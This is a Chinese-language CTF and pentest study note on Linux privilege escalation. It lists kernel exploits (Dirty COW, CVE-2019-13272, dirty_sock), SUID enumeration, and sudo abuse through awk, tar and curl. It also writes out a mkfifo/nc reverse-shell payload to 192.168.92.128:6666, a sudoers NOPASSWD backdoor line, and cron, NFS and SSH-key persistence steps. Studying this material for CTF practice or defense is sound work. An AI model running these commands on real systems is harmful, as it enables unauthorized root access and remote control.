Linux系统提权|内网渗透学习(九)
Linux可以说是最为一个CTF打Web的选手解出最多的了, 因为题目的容器环境几乎都是使用的Linux
系统, 所以下面的这几个思路也没什么新的点, 都是之前常用的一些思路, 个人感觉新一点的就是awk
,find
,tar
这几个命令能够RCE以及/etc/sudoers
文件的用处(因为之前我是没怎么用过这些方法的)
Linux提权信息收集
- 脚本收集探测内核漏洞
searchsploit
查找漏洞
系统内核漏洞提权
-
脏牛 低权限用户利用该漏洞技术可以在全版本Linux系统上实现本地捉权· POC : https://github.com/FireFart/dirtycow gcc编译: gcc -pthread ditry.c -o dirty -lcrypt 替换root用户: ./dirty password
-
CVE-2019-13272 linux本地捉权 漏柯范围: 4.10 < linux内核版本<5.1.17 exploitdb : https://www.exploit-db.com/exploits/47163 利用exp : https://www.exploit-db.com/download/47163
-
CVE-2019-7304 Linux包管理器snap本地提权漏洞 Ubuntu版本范围: Ubuntu 18.10Ubuntu 18.04 LTSUbuntu 16.04 LTSUbuntu 14.04 LTS snap版本范围:2.28< snapd <2.37
-
CVE-2019-7304 漏洞利用: https://github.com/initstring/dirty_sock
环境变量提权
PATH是Linux和类Unix操作系统中的环境变量﹐它指定存储可执行程序的所有bin和sbin目录·当用户在终端上执行任何命令时﹐它会通过PATH变量来响应用户执行的命令﹐并向shell发送请求以搜索可执蔷文件。
Passwd哈希记录
passwd每行数据通过:
分割, 第一个是用户名, 第二个则是哈希值, 如果哈希保存在/etc/shadow
文件的话则会记录为x
, 所以也可以查看一下会不会有某个用户的哈希被直接记录在passwd文件中, 如果有的话就可以直接去md5解密网站就行哈希解密
SUID提权
相关命令:
find / -user root -perm /4000 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -type f -name '*.txt' 2>/dev/null
getcap -r / 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {}; > /tmp/suid
suid权限说明:
- 启动为进程之后﹐其进程的属主为原程序文件的属主
- 只能作用在二进制程序上,不能作用在脚本上,且设置在目录上无意义
- 执行suid权限的程序时,此用户将继承此程序的所有者权限
SUID提权和sudo都是通过设置使得命令或者程序以root的权限去执行
,SUID指定的是可执行的应用程序, 所以可以通过程序的功能区执行命令拿到一个root用户权限控制
使用的话可以参考下面Sudo 的滥用
部分锁使用到的命令, 此外例如还有pkexec
的提权也是SUID提权
Sudo 的滥用
下面主要是awk
, tar
, find
命令的使用, 之前都没用过
-
通过下面语句向
sudoers
文件添加用户sudo权限控制, 让某个用户可以任意通过sudo执行任意命令sudo echo "h0cksr ALL=(root) NOPASSWD: ALL" >> /etc/sudoers
-
sudo awk 'BEGIN {system("/bin/sh")}'
-
sudo curl file:///flag
-
echo "rm /tmp/f; mkfifo /tmp/f; cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.92.128 6666 > /tmp/f" > shell.sh sudo tar -zcf /etc/backups/home-bob.tgz --checkpoint=1 --checkpoint-action=exec=sh shell sh shell.sh
--checkpoint-action
选项∶用于指定到达检查点时将要执行的程序, 这将允许我们运行一个任意的命令--checkpoint=1
和--checkpoint-action=exec=sh shell.sh
作为命令行选项交给了tar程序
Crontab 定时任务
crontab :定时任务的守护进程
系统定时任务:/etc/crontab用户定时任务:/var/spool/cron/
crontab -l:查看定时任务列表
定时任务没什么好说的, 就直接指定执行任务的用户为root, 然后执行反弹shell命令
或者修改某个用户的权限为root组
或者添加一个root用户
或者直接修改root用户的密码
,
其他
NFS低权限文件
挂载nfs服务
showmount -e [nsf_server_ip]
mkdir /mnt/temp
mount [nsf_server_ip]:/nsf/server/dir /mnt/temp/
cd /mnt/temp
ls -al
默认情况下访问挂载的文件夹的时候我们属于匿名用户, 对很多文件不仅没有写权限, 而且连读权限都没有
这时候我们就可以通过在伪造一个用户的uid
和gid
来完成身份的验证, 例如
图片中全部文件都是用户peter
所有, 这时候我们就可以通过
- 先在本地
su peter
切换为peter用户 - 然后本地的
peter
用户进入/mnt/peter
目录 - 验证到当前用户为peter, 文件所有者也为peter, 验证通过, 因此拿到文件的控制权限
写SSH公钥
例如在上面我们获得了peter
用户的目录控制权限之后就可以通过写公钥的方式, 将peter的ssh公钥修改从而达到免密登录的效果
写入ssh公钥之后就可以直接ssh peter@target_ip
登录拿到peter的shell
2022_10_01 17:00